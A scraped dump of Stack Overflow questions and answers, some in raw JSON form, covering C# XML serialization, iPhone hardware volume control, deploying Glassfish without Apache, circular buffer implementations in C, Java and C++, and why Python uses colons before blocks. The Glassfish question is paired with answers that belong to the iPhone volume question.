I have a simple class that essentially just holds some values. I have overridden the `ToString()` method to return a nice string representation.
Now, I want to create a `ToXml()` method, that will return something like this:
```
<Song>
<Artist>Bla</Artist>
<Title>Foo</Title>
</Song>
```
Of course, I could just use a `StringBuilder` here, but I would like to return an `XmlNode` or `XmlElement`, to be used with `XmlDocument.AppendChild`.
I do not seem to be able to create an `XmlElement` other than calling `XmlDocument.CreateElement`, so I wonder if I have just overlooked anything, or if I really either have to pass in either a `XmlDocument` or `ref XmlElement` to work with, or have the function return a String that contains the XML I want?
|
You may want to look at how you can use the built-in features of .NET to serialize and deserialize an object into XML, rather than creating a `ToXML()` method on every class that is essentially just a Data Transfer Object.
I have used these techniques successfully on a couple of projects but don’t have the implementation details handy right now. I will try to update my answer with my own examples sometime later.
Here's a couple of examples that Google returned:
XML Serialization in .NET by Venkat Subramaniam <http://www.agiledeveloper.com/articles/XMLSerialization.pdf>
How to Serialize and Deserialize an object into XML <http://www.dotnetfunda.com/articles/article98.aspx>
Customize your .NET object XML serialization with .NET XML attributes <http://blogs.microsoft.co.il/blogs/rotemb/archive/2008/07/27/customize-your-net-object-xml-serialization-with-net-xml-attributes.aspx>
|
215,524 |
<p>Some iPhone applications, such as Pandora seem to directly manipulate the hardware volume and respond to physical volume button. How is this done?</p>
<p>AudioSessionServices allows you to get the current hardware output volume with the <code>kAudioSessionProperty_CurrentHardwareOutputVolume</code> property, but it is (allegedly) read-only.</p>
|
[
{
"answer_id": 215614,
"author": "catlan",
"author_id": 23028,
"author_profile": "https://Stackoverflow.com/users/23028",
"pm_score": 4,
"selected": true,
"text": "<p>They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder. </p>\n\n<pre><code>MPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];\n[self.view addSubview:volumeView];\n[volumeView release];\n</code></pre>\n"
},
{
"answer_id": 9507066,
"author": "blackjacx",
"author_id": 971329,
"author_profile": "https://Stackoverflow.com/users/971329",
"pm_score": 3,
"selected": false,
"text": "<p>Here is another (complete) example of setting the hardware volume AND retrieving the volume after pressing the hardware keys:</p>\n\n<pre><code>// AVAudiosession Delegate Method\n- (void)endInterruptionWithFlags:(NSUInteger)flags\n{\n // When interruption ends - set the apps audio session active again\n [[AVAudioSession sharedInstance] setActive:YES error:nil];\n\n if( flags == AVAudioSessionInterruptionFlags_ShouldResume ) {\n // Resume playback of song here!!!\n }\n}\n\n// Hardware Button Volume Callback\nvoid audioVolumeChangeListenerCallback (\n void *inUserData,\n AudioSessionPropertyID inID,\n UInt32 inDataSize,\n const void *inData)\n{\n UISlider * volumeSlider = (__bridge UISlider *) inUserData;\n Float32 newGain = *(Float32 *)inData;\n [volumeSlider setValue:newGain animated:YES];\n}\n\n// My UISlider Did Change Callback\n- (IBAction)volChanged:(id)sender\n{\n CGFloat oldVolume = [[MPMusicPlayerController applicationMusicPlayer] volume];\n CGFloat newVolume = ((UISlider*)sender).value;\n\n // Don't change the volume EVERYTIME but in discrete steps. \n // Performance will say \"THANK YOU\"\n if( fabsf(newVolume - oldVolume) > 0.05 || newVolume == 0 || newVolume == 1 )\n [[MPMusicPlayerController applicationMusicPlayer] setVolume:newVolume];\n}\n\n- (void)viewWillAppear:(BOOL)animated\n{\n [super viewWillAppear:animated];\n\n // Set the volume slider to the correct value on appearance of the view \n volSlider.value = [[MPMusicPlayerController applicationMusicPlayer] volume];\n}\n\n- (void)viewDidLoad\n{\n [super viewDidLoad];\n\n self.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;\n\n // Activate the session and set teh delegate\n [[AVAudioSession sharedInstance] setActive:YES error:nil];\n [[AVAudioSession sharedInstance] setDelegate:self];\n\n // Create a customizable slider and add it to the view\n volSlider = [[UISlider alloc] init];\n CGRect sliderRect = volSlider.frame;\n sliderRect.origin.y = 50;\n sliderRect.size.width = self.view.bounds.size.width;\n volSlider.frame = sliderRect;\n [volSlider addTarget:self action:@selector(volChanged:) forControlEvents:UIControlEventValueChanged];\n [self.view addSubview:volSlider];\n\n // Regoister the callback to receive notifications from the hardware buttons\n AudioSessionAddPropertyListener (\n kAudioSessionProperty_CurrentHardwareOutputVolume ,\n audioVolumeChangeListenerCallback,\n (__bridge void*)volSlider\n );\n\n [...]\n}\n\n- (void)viewDidUnload\n{\n [super viewDidUnload];\n\n // Remove the Hardware-Button-Listener\n AudioSessionRemovePropertyListenerWithUserData(\n kAudioSessionProperty_CurrentHardwareOutputVolume, \n audioVolumeChangeListenerCallback, \n (__bridge void*)volSlider);\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215524",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4468/"
] |
Some iPhone applications, such as Pandora seem to directly manipulate the hardware volume and respond to physical volume button. How is this done?
AudioSessionServices allows you to get the current hardware output volume with the `kAudioSessionProperty_CurrentHardwareOutputVolume` property, but it is (allegedly) read-only.
|
They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder.
```
MPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];
[self.view addSubview:volumeView];
[volumeView release];
```
|
215,537 |
<p>So am I crazy for considering doing a beta/production release on Glassfish V3 Prelude?
Since all of my content is dynamic, I'm not even thinking of bothering to set up apache in front either. Doing so complicates the setup by requiring something like AJP or mod_jk and will not offer us much in terms of capability.</p>
<p>So there will be three war files on deployment.
3 JNDI data sources with about 90 connections parked, scaling up to 160 to a PGSQL datastore....</p>
<p>The three wars comprise a CMS system and a grails application?</p>
<p>Is my logic fatally flawed that I don't need to put apache in front of this setup?</p>
|
[
{
"answer_id": 215614,
"author": "catlan",
"author_id": 23028,
"author_profile": "https://Stackoverflow.com/users/23028",
"pm_score": 4,
"selected": true,
"text": "<p>They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder. </p>\n\n<pre><code>MPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];\n[self.view addSubview:volumeView];\n[volumeView release];\n</code></pre>\n"
},
{
"answer_id": 9507066,
"author": "blackjacx",
"author_id": 971329,
"author_profile": "https://Stackoverflow.com/users/971329",
"pm_score": 3,
"selected": false,
"text": "<p>Here is another (complete) example of setting the hardware volume AND retrieving the volume after pressing the hardware keys:</p>\n\n<pre><code>// AVAudiosession Delegate Method\n- (void)endInterruptionWithFlags:(NSUInteger)flags\n{\n // When interruption ends - set the apps audio session active again\n [[AVAudioSession sharedInstance] setActive:YES error:nil];\n\n if( flags == AVAudioSessionInterruptionFlags_ShouldResume ) {\n // Resume playback of song here!!!\n }\n}\n\n// Hardware Button Volume Callback\nvoid audioVolumeChangeListenerCallback (\n void *inUserData,\n AudioSessionPropertyID inID,\n UInt32 inDataSize,\n const void *inData)\n{\n UISlider * volumeSlider = (__bridge UISlider *) inUserData;\n Float32 newGain = *(Float32 *)inData;\n [volumeSlider setValue:newGain animated:YES];\n}\n\n// My UISlider Did Change Callback\n- (IBAction)volChanged:(id)sender\n{\n CGFloat oldVolume = [[MPMusicPlayerController applicationMusicPlayer] volume];\n CGFloat newVolume = ((UISlider*)sender).value;\n\n // Don't change the volume EVERYTIME but in discrete steps. \n // Performance will say \"THANK YOU\"\n if( fabsf(newVolume - oldVolume) > 0.05 || newVolume == 0 || newVolume == 1 )\n [[MPMusicPlayerController applicationMusicPlayer] setVolume:newVolume];\n}\n\n- (void)viewWillAppear:(BOOL)animated\n{\n [super viewWillAppear:animated];\n\n // Set the volume slider to the correct value on appearance of the view \n volSlider.value = [[MPMusicPlayerController applicationMusicPlayer] volume];\n}\n\n- (void)viewDidLoad\n{\n [super viewDidLoad];\n\n self.view.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;\n\n // Activate the session and set teh delegate\n [[AVAudioSession sharedInstance] setActive:YES error:nil];\n [[AVAudioSession sharedInstance] setDelegate:self];\n\n // Create a customizable slider and add it to the view\n volSlider = [[UISlider alloc] init];\n CGRect sliderRect = volSlider.frame;\n sliderRect.origin.y = 50;\n sliderRect.size.width = self.view.bounds.size.width;\n volSlider.frame = sliderRect;\n [volSlider addTarget:self action:@selector(volChanged:) forControlEvents:UIControlEventValueChanged];\n [self.view addSubview:volSlider];\n\n // Regoister the callback to receive notifications from the hardware buttons\n AudioSessionAddPropertyListener (\n kAudioSessionProperty_CurrentHardwareOutputVolume ,\n audioVolumeChangeListenerCallback,\n (__bridge void*)volSlider\n );\n\n [...]\n}\n\n- (void)viewDidUnload\n{\n [super viewDidUnload];\n\n // Remove the Hardware-Button-Listener\n AudioSessionRemovePropertyListenerWithUserData(\n kAudioSessionProperty_CurrentHardwareOutputVolume, \n audioVolumeChangeListenerCallback, \n (__bridge void*)volSlider);\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215537",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1129162/"
] |
So am I crazy for considering doing a beta/production release on Glassfish V3 Prelude?
Since all of my content is dynamic, I'm not even thinking of bothering to set up apache in front either. Doing so complicates the setup by requiring something like AJP or mod\_jk and will not offer us much in terms of capability.
So there will be three war files on deployment.
3 JNDI data sources with about 90 connections parked, scaling up to 160 to a PGSQL datastore....
The three wars comprise a CMS system and a grails application?
Is my logic fatally flawed that I don't need to put apache in front of this setup?
|
They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder.
```
MPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];
[self.view addSubview:volumeView];
[volumeView release];
```
|
215,557 |
<p>How do I implement a circular list that overwrites the oldest entry when it's full? </p>
<p>For a little background, I want to use a circular list within GWT; so using a 3rd party lib is <strong>not</strong> what I want.</p>
|
[
{
"answer_id": 215573,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 2,
"selected": false,
"text": "<p>Use a linked list. Maintain separate pointers for the head and tail. Pop from the head of the list, push onto the tail. If you want it circular, just make sure the new tail always points to the head.</p>\n\n<p>I can understand why you might want to implement a FIFO using a linked list, but why make it a circular list?</p>\n"
},
{
"answer_id": 215574,
"author": "Lucia",
"author_id": 17600,
"author_profile": "https://Stackoverflow.com/users/17600",
"pm_score": 1,
"selected": false,
"text": "<p>Use an array and keep a variable P with the first available position.</p>\n\n<p>Increase P every time you add a new element.</p>\n\n<p>To know the equivalent index of P in your array do (P % n) where n is the size of your array.</p>\n"
},
{
"answer_id": 215575,
"author": "Adam Davis",
"author_id": 2915,
"author_profile": "https://Stackoverflow.com/users/2915",
"pm_score": 7,
"selected": true,
"text": "<p>A very simple implementation, expressed in C. Implements a circular buffer style FIFO queue. Could be made more generic by creating a structure containing the queue size, queue data, and queue indexes (in and out), which would be passed in with the data to add or remove from the queue. These same routines could then handle several queues. Also note that this allows queues of any size, although speedups can be used if you use powers of 2 and customize the code further.</p>\n\n<pre><code>/* Very simple queue\n * These are FIFO queues which discard the new data when full.\n *\n * Queue is empty when in == out.\n * If in != out, then \n * - items are placed into in before incrementing in\n * - items are removed from out before incrementing out\n * Queue is full when in == (out-1 + QUEUE_SIZE) % QUEUE_SIZE;\n *\n * The queue will hold QUEUE_ELEMENTS number of items before the\n * calls to QueuePut fail.\n */\n\n/* Queue structure */\n#define QUEUE_ELEMENTS 100\n#define QUEUE_SIZE (QUEUE_ELEMENTS + 1)\nint Queue[QUEUE_SIZE];\nint QueueIn, QueueOut;\n\nvoid QueueInit(void)\n{\n QueueIn = QueueOut = 0;\n}\n\nint QueuePut(int new)\n{\n if(QueueIn == (( QueueOut - 1 + QUEUE_SIZE) % QUEUE_SIZE))\n {\n return -1; /* Queue Full*/\n }\n\n Queue[QueueIn] = new;\n\n QueueIn = (QueueIn + 1) % QUEUE_SIZE;\n\n return 0; // No errors\n}\n\nint QueueGet(int *old)\n{\n if(QueueIn == QueueOut)\n {\n return -1; /* Queue Empty - nothing to get*/\n }\n\n *old = Queue[QueueOut];\n\n QueueOut = (QueueOut + 1) % QUEUE_SIZE;\n\n return 0; // No errors\n}\n</code></pre>\n"
},
{
"answer_id": 215578,
"author": "Toon Krijthe",
"author_id": 18061,
"author_profile": "https://Stackoverflow.com/users/18061",
"pm_score": 2,
"selected": false,
"text": "<p>If you want a fixed length circular list. You can use a (dynamic) array. Use two variables for houskeeping. One for the position of the next element, one to count the number of elements.</p>\n\n<p>Put: put element on free place. move the position (modulo length). Add 1 to the count unless count equals the lengtht of the list.\nGet: only if count>0. move the position to the left (modulo length). Decrement the count.</p>\n"
},
{
"answer_id": 19704777,
"author": "arapEST",
"author_id": 1268966,
"author_profile": "https://Stackoverflow.com/users/1268966",
"pm_score": 1,
"selected": false,
"text": "<p>I am using this for my microcontroller.\nFor code simplicity one byte will be unfilled.\nAka size - 1 is the full capacity actually.</p>\n\n<pre><code>fifo_t* createFifoToHeap(size_t size)\n{\n byte_t* buffer = (byte_t*)malloc(size);\n\n if (buffer == NULL)\n return NULL;\n\n fifo_t* fifo = (fifo_t*)malloc(sizeof(fifo_t));\n\n if (fifo == NULL)\n {\n free(buffer);\n return NULL;\n }\n\n fifo->buffer = buffer;\n fifo->head = 0;\n fifo->tail = 0;\n fifo->size = size;\n\n return fifo;\n}\n\n#define CHECK_FIFO_NULL(fifo) MAC_FUNC(if (fifo == NULL) return 0;)\n\nsize_t fifoPushByte(fifo_t* fifo, byte_t byte)\n{\n CHECK_FIFO_NULL(fifo);\n\n if (fifoIsFull(fifo) == true)\n return 0;\n\n fifo->buffer[fifo->head] = byte;\n\n fifo->head++;\n if (fifo->head == fifo->size)\n fifo->head = 0;\n\n return 1;\n}\n\nsize_t fifoPushBytes(fifo_t* fifo, byte_t* bytes, size_t count)\n{\n CHECK_FIFO_NULL(fifo);\n\n for (uint32_t i = 0; i < count; i++)\n {\n if (fifoPushByte(fifo, bytes[i]) == 0)\n return i;\n }\n\n return count;\n}\n\nsize_t fifoPopByte(fifo_t* fifo, byte_t* byte)\n{\n CHECK_FIFO_NULL(fifo);\n\n if (fifoIsEmpty(fifo) == true)\n return 0;\n\n *byte = fifo->buffer[fifo->tail];\n\n fifo->tail++;\n if (fifo->tail == fifo->size)\n fifo->tail = 0;\n\n return 1;\n}\n\nsize_t fifoPopBytes(fifo_t* fifo, byte_t* bytes, size_t count)\n{\n CHECK_FIFO_NULL(fifo);\n\n for (uint32_t i = 0; i < count; i++)\n {\n if (fifoPopByte(fifo, bytes + i) == 0)\n return i;\n }\n\n return count;\n}\n\nbool fifoIsFull(fifo_t* fifo)\n{\n if ((fifo->head == (fifo->size - 1) && fifo->tail == 0) || (fifo->head == (fifo->tail - 1)))\n return true;\n else\n return false;\n}\n\nbool fifoIsEmpty(fifo_t* fifo)\n{\n if (fifo->head == fifo->tail)\n return true;\n else\n return false;\n}\n\nsize_t fifoBytesFilled(fifo_t* fifo)\n{\n if (fifo->head == fifo->tail)\n return 0;\n else if ((fifo->head == (fifo->size - 1) && fifo->tail == 0) || (fifo->head == (fifo->tail - 1)))\n return fifo->size;\n else if (fifo->head < fifo->tail)\n return (fifo->head) + (fifo->size - fifo->tail);\n else\n return fifo->head - fifo->tail; \n}\n</code></pre>\n"
},
{
"answer_id": 19761630,
"author": "Neo M Hacker",
"author_id": 983732,
"author_profile": "https://Stackoverflow.com/users/983732",
"pm_score": 0,
"selected": false,
"text": "<p>I don't think queue is the best way to make a cache. You want to be your cache to be really fast! And doing a linear scan of your queue is not the way to go unless you want your cache to be really small or your memory is really limited.</p>\n\n<p>Assuming that you don't want a very small cache or a slow cache, using a Linked List with a Hash Map of value to node in the linked list is a good way to go. You can always evict the head, and whenever an element is accessed, you can remove it and put it in the head of the list. For accessing you can directly get it or check if it's in the cache in O(1). Evicting an element is also O(1) and so is updating the list. </p>\n\n<p>For an example, look at LinkedHashMap in java.</p>\n\n<p><a href=\"http://docs.oracle.com/javase/6/docs/api/java/util/LinkedHashMap.html\" rel=\"nofollow\">http://docs.oracle.com/javase/6/docs/api/java/util/LinkedHashMap.html</a></p>\n"
},
{
"answer_id": 34624090,
"author": "Prateek Joshi",
"author_id": 4281711,
"author_profile": "https://Stackoverflow.com/users/4281711",
"pm_score": -1,
"selected": false,
"text": "<p>Here is an elegant way to create <strong>dynamically increasing/decreasing circular queue</strong> using <strong><em>java</em></strong>. </p>\n\n<p>I have commented most part of the code for easy & fast understanding. Hope it helps :)</p>\n\n<pre><code> public class CircularQueueDemo {\n public static void main(String[] args) throws Exception {\n\n CircularQueue queue = new CircularQueue(2);\n /* dynamically increasing/decreasing circular queue */\n System.out.println(\"--dynamic circular queue--\");\n queue.enQueue(1);\n queue.display();\n queue.enQueue(2);\n queue.display();\n queue.enQueue(3);\n queue.display();\n queue.enQueue(4);\n queue.display();\n queue.deQueue();\n queue.deQueue();\n queue.enQueue(5);\n queue.deQueue(); \n queue.display();\n\n }\n}\n\nclass CircularQueue {\n private int[] queue;\n public int front;\n public int rear;\n private int capacity;\n\n public CircularQueue(int cap) {\n front = -1;\n rear = -1;\n capacity = cap;\n queue = new int[capacity];\n }\n\n public boolean isEmpty() {\n return (rear == -1);\n }\n\n public boolean isFull() {\n if ((front == 0 && rear == capacity - 1) || (front == rear + 1))\n return true;\n else\n return false;\n }\n\n public void enQueue(int data) { \n if (isFull()) { //if queue is full then expand it dynamically \n reSize(); \n enQueue(data);\n } else { //else add the data to the queue\n if (rear == -1) //if queue is empty\n rear = front = 0;\n else if (rear == capacity) //else if rear reached the end of array then place rear to start (circular array)\n rear = 0;\n else\n rear++; //else just incement the rear \n queue[rear] = data; //add the data to rear position\n }\n }\n\n public void reSize() {\n int new_capacity = 2 * capacity; //create new array of double the prev size\n int[] new_array = new int[new_capacity]; \n\n int prev_size = getSize(); //get prev no of elements present\n int i = 0; //place index to starting of new array\n\n while (prev_size >= 0) { //while elements are present in prev queue\n if (i == 0) { //if i==0 place the first element to the array\n new_array[i] = queue[front++];\n } else if (front == capacity) { //else if front reached the end of array then place rear to start (circular array) \n front = 0;\n new_array[i] = queue[front++];\n } else //else just increment the array\n new_array[i] = queue[front++];\n prev_size--; //keep decreasing no of element as you add the elements to the new array\n i++; //increase the index of new array\n }\n front = 0; //assign front to 0\n rear = i-1; //assign rear to the last index of added element\n capacity=new_capacity; //assign the new capacity\n queue=new_array; //now queue will point to new array (bigger circular array)\n }\n\n public int getSize() {\n return (capacity - front + rear) % capacity; //formula to get no of elements present in circular queue\n }\n\n public int deQueue() throws Exception {\n if (isEmpty()) //if queue is empty\n throw new Exception(\"Queue is empty\");\n else {\n int item = queue[front]; //get item from front\n if (front == rear) //if only one element\n front = rear = -1;\n else if (front == capacity) //front reached the end of array then place rear to start (circular array)\n front = 0;\n else\n front++; //increment front by one\n decreaseSize(); //check if size of the queue can be reduced to half\n return item; //return item from front\n }\n\n }\n\n public void decreaseSize(){ //function to decrement size of circular array dynamically\n int prev_size = getSize();\n if(prev_size<capacity/2){ //if size is less than half of the capacity\n int[] new_array=new int[capacity/2]; //create new array of half of its size\n int index=front; //get front index\n int i=0; //place an index to starting of new array (half the size)\n while(prev_size>=0){ //while no of elements are present in the queue\n if(i==0) //if index==0 place the first element\n new_array[i]=queue[front++];\n else if(front==capacity){ //front reached the end of array then place rear to start (circular array) \n front=0;\n new_array[i]=queue[front++];\n }\n else\n new_array[i]=queue[front++]; //else just add the element present in index of front\n prev_size--; //decrease the no of elements after putting to new array \n i++; //increase the index of i\n }\n front=0; //assign front to 0\n rear=i-1; //assign rear to index of last element present in new array(queue)\n capacity=capacity/2; //assign new capacity (half the size of prev)\n queue=new_array; //now queue will point to new array (or new queue)\n }\n }\n\n public void display() { //function to display queue\n int size = getSize();\n int index = front;\n\n while (size >= 0) {\n if (isEmpty())\n System.out.println(\"Empty queue\");\n else if (index == capacity)\n index = 0;\n System.out.print(queue[index++] + \"=>\");\n size--;\n }\n System.out.println(\" Capacity: \"+capacity);\n\n }\n\n}\n</code></pre>\n\n<p><strong>Output:</strong></p>\n\n<p>--dynamic circular queue--</p>\n\n<p>1=> Capacity: 2</p>\n\n<p>1=>2=> Capacity: 2</p>\n\n<p>1=>2=>3=> Capacity: 4</p>\n\n<p>1=>2=>3=>4=> Capacity: 4</p>\n\n<p>4=>5=> Capacity: 2</p>\n"
},
{
"answer_id": 63006567,
"author": "EvLa",
"author_id": 13966848,
"author_profile": "https://Stackoverflow.com/users/13966848",
"pm_score": 0,
"selected": false,
"text": "<p>Here is a simple template solution for a circular buffer (FIFO). It does leave one storage space empty, but I think this is a small penalty for the performance and simplicity.\nI included a simple stress-test.</p>\n<pre><code>#include <iostream>\n#include <string>\n\nusing namespace std;\n\nclass E: public std::exception {\n\n const char *_msg;\n E(){}; //no default constructor\n\npublic:\n\n explicit E(const char *msg) throw(): _msg(msg) {};\n const char * what() const throw() {return(_msg);};\n\n};\n\nconst int min_size = 2;\nconst int max_size = 1000;\n\ntemplate<typename T>\nclass Fifo{\n\n int _head;\n int _tail;\n int _size;\n\n T* _storage;\n\npublic:\n\n explicit Fifo(int size = min_size);\n ~Fifo(){ delete [] _storage;};\n\n bool is_full() const{\n return(((_head+1)%_size) == _tail);\n };\n bool is_empty() const{\n return(_head == _tail);\n };\n\n void add_item(const T& item);\n const T& get_item();\n\n};\n\ntemplate<typename T>\nFifo<T>::Fifo(int size): _size(size){\n \n if (size < min_size) throw E("Cannot create Fifo less than 2\\n");\n\n _head = _tail = 0;\n\n try{\n\n _storage = new T[_size];\n }\n catch (std::bad_alloc &ba)\n {\n char e_string[500];\n sprintf(e_string, "Cannot allocate memory (%s)\\n", ba.what());\n throw E(e_string);\n }\n\n printf("Constructing Fifo of size %d\\n", _size);\n\n}\n\ntemplate <typename T>\nvoid Fifo<T>::add_item(const T& item)\n{\n if (this->is_full()) throw E("Fifo is full.\\n");\n\n _storage[_head] = item;\n\n _head = (_head + 1)%_size;\n}\n\ntemplate <typename T>\nconst T& Fifo<T>::get_item()\n{\n if (this->is_empty()) throw E("Fifo is empty.\\n");\n\n int temp = _tail; //save the current tail\n\n _tail = (_tail+1)%_size; //update tail\n\n return(_storage[temp]);\n}\n\nint main()\n{\n Fifo<int> my_fifo(3);\n\n for (int i = 1, item; i < 50; i++)\n {\n my_fifo.add_item(i);\n my_fifo.add_item(i*10);\n item = my_fifo.get_item();\n printf("Item: %d\\n", item);\n item = my_fifo.get_item();\n printf("Item: %d\\n", item);\n }\n\n\n return 0;\n}\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215557",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22992/"
] |
How do I implement a circular list that overwrites the oldest entry when it's full?
For a little background, I want to use a circular list within GWT; so using a 3rd party lib is **not** what I want.
|
A very simple implementation, expressed in C. Implements a circular buffer style FIFO queue. Could be made more generic by creating a structure containing the queue size, queue data, and queue indexes (in and out), which would be passed in with the data to add or remove from the queue. These same routines could then handle several queues. Also note that this allows queues of any size, although speedups can be used if you use powers of 2 and customize the code further.
```
/* Very simple queue
* These are FIFO queues which discard the new data when full.
*
* Queue is empty when in == out.
* If in != out, then
* - items are placed into in before incrementing in
* - items are removed from out before incrementing out
* Queue is full when in == (out-1 + QUEUE_SIZE) % QUEUE_SIZE;
*
* The queue will hold QUEUE_ELEMENTS number of items before the
* calls to QueuePut fail.
*/
/* Queue structure */
#define QUEUE_ELEMENTS 100
#define QUEUE_SIZE (QUEUE_ELEMENTS + 1)
int Queue[QUEUE_SIZE];
int QueueIn, QueueOut;
void QueueInit(void)
{
QueueIn = QueueOut = 0;
}
int QueuePut(int new)
{
if(QueueIn == (( QueueOut - 1 + QUEUE_SIZE) % QUEUE_SIZE))
{
return -1; /* Queue Full*/
}
Queue[QueueIn] = new;
QueueIn = (QueueIn + 1) % QUEUE_SIZE;
return 0; // No errors
}
int QueueGet(int *old)
{
if(QueueIn == QueueOut)
{
return -1; /* Queue Empty - nothing to get*/
}
*old = Queue[QueueOut];
QueueOut = (QueueOut + 1) % QUEUE_SIZE;
return 0; // No errors
}
```
|
215,581 |
<p>What is the purpose of the colon before a block in Python?</p>
<p>Example:</p>
<pre><code>if n == 0:
print "The end"
</code></pre>
|
[
{
"answer_id": 215676,
"author": "tzot",
"author_id": 6899,
"author_profile": "https://Stackoverflow.com/users/6899",
"pm_score": 7,
"selected": true,
"text": "<p>The colon is there to declare the start of an indented block.</p>\n\n<p>Technically, it's not necessary; you could just indent and de-indent when the block is done. However, based on the <a href=\"http://www.python.org/dev/peps/pep-0020/\" rel=\"noreferrer\">Python koan</a> “explicit is better than implicit” (EIBTI), I believe that Guido deliberately made the colon obligatory, so <em>any</em> statement that <em>should</em> be followed by indented code ends in a colon. (It also allows one-liners if you continue after the colon, but this style is not in wide use.)</p>\n\n<p>It also makes the work of syntax-aware auto-indenting editors easier, which also counted in the decision.</p>\n\n<hr>\n\n<p>This question turns out to be a <a href=\"http://docs.python.org/faq/design.html#why-are-colons-required-for-the-if-while-def-class-statements\" rel=\"noreferrer\">Python FAQ</a>, and I found one of its answers by Guido <a href=\"http://markmail.org/message/ve7mwqxhci4pm6lw\" rel=\"noreferrer\">here</a>:</p>\n\n<blockquote>\n <p><strong>Why are colons required for the if/while/def/class statements?</strong></p>\n \n <p>The colon is required primarily to enhance readability (one of the results of the experimental ABC language). Consider this:</p>\n\n<pre><code>if a == b \n print a\n</code></pre>\n \n <p>versus </p>\n\n<pre><code>if a == b: \n print a\n</code></pre>\n \n <p>Notice how the second one is slightly easier to read. Notice further how a colon sets off the example in this FAQ answer; it’s a standard usage in English.</p>\n \n <p>Another minor reason is that the colon makes it easier for editors with syntax highlighting; they can look for colons to decide when indentation needs to be increased instead of having to do a more elaborate parsing of the program text.</p>\n</blockquote>\n"
},
{
"answer_id": 216060,
"author": "Ryan",
"author_id": 8819,
"author_profile": "https://Stackoverflow.com/users/8819",
"pm_score": 4,
"selected": false,
"text": "<p>Three reasons:</p>\n\n<ol>\n<li>To increase readability. The colon helps the code flow into the following indented block.</li>\n<li>To help text editors/IDEs, they can automatically indent the next line if the previous line ended with a colon.</li>\n<li>To make parsing by python slightly easier.</li>\n</ol>\n"
},
{
"answer_id": 1464645,
"author": "Yoo",
"author_id": 37664,
"author_profile": "https://Stackoverflow.com/users/37664",
"pm_score": 5,
"selected": false,
"text": "<p>Consider the following list of things to buy from the grocery store, written in Pewprikanese.</p>\n\n<pre><code>pewkah\nlalala\n chunkykachoo\n pewpewpew\nskunkybacon\n</code></pre>\n\n<p>When I read that, I'm confused, Are chunkykachoo and pewpewpew a kind of lalala? Or what if chunkykachoo and pewpewpew are indented just because they are special items?</p>\n\n<p>Now see what happens when my Pewprikanese friend add a colon to help me parse the list better: (<-- like this)</p>\n\n<pre><code>pewkah\nlalala: (<-- see this colon)\n chunkykachoo\n pewpewpew\nskunkybacon\n</code></pre>\n\n<p>Now it's clear that chunkykachoo and pewpewpew are a kind of lalala.</p>\n\n<p>Let's say there is a person who's starting to learn Python, which happens to be her first programming language to learn. Without colons, there's a considerable probability that she's going to keep thinking \"this lines are indented because this lines are like special items.\", and it could take a while to realize that that's not the best way to think about indentation.</p>\n"
},
{
"answer_id": 3075389,
"author": "unwind",
"author_id": 28169,
"author_profile": "https://Stackoverflow.com/users/28169",
"pm_score": 3,
"selected": false,
"text": "<p>As far as I know, it's an intentional design to make it more obvious, that the reader should expect an indentation after the colon.</p>\n\n<p>It also makes constructs like this possible:</p>\n\n<pre><code>if expression: action()\ncode_continues()\n</code></pre>\n\n<p>Note (as a commenter did) that this is not exactly the shining gold standard of good Python style. It would be far better to have a blank, there:</p>\n\n<pre><code>if expression: action()\n\ncode_continues()\n</code></pre>\n\n<p>to avoid confusion. I just wanted to make it clear, with the first example, that it's possible to write like that, since having the code for the <code>if</code> immediately following the colon makes it possible for the compiler to understand that the next line should <em>not</em> be indented.</p>\n"
},
{
"answer_id": 52451080,
"author": "Serge",
"author_id": 5874981,
"author_profile": "https://Stackoverflow.com/users/5874981",
"pm_score": 2,
"selected": false,
"text": "<p>According to Guido Van Rossum, the Python inventor, the idea of using a colon to make the structure more apparent is inspired by earlier experiments with a Python predecessor, ABC language, which also targeted the beginners. Apparently, on their early tests, beginner learners progressed faster with colon than without it. Read the whole story at Guido's post python history blog.</p>\n\n<p><a href=\"http://python-history.blogspot.com/2009/02/early-language-design-and-development.html\" rel=\"nofollow noreferrer\">http://python-history.blogspot.com/2009/02/early-language-design-and-development.html</a> </p>\n\n<p>And yes, the colon is useful in one-liners and is less annoying than the semicolon. Also style guide for long time recommended break on several lines only when it ends with a binary operator</p>\n\n<pre><code>x = (23 + \n 24 + \n 33)\n</code></pre>\n\n<p>Addition of colon made compound statement look the same way for greater style uniformity.</p>\n\n<p>There is a 'colonless' encoding for CPython as well as colon-less dialect, called cobra. Those did not pick up. </p>\n"
},
{
"answer_id": 69091420,
"author": "Jim K",
"author_id": 16853579,
"author_profile": "https://Stackoverflow.com/users/16853579",
"pm_score": 0,
"selected": false,
"text": "<p>The colon is a complete annoyance. If you need to indent after an 'if' or a 'for', then just look for the 'if' or the 'for'.</p>\n<p>Cmon', all this rationalization. The 'spin' language for the propeller chip easily overcomes this issue.</p>\n<p>PLEASE, let's make the colon optional, and get on with some logical programming.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215581",
"https://Stackoverflow.com",
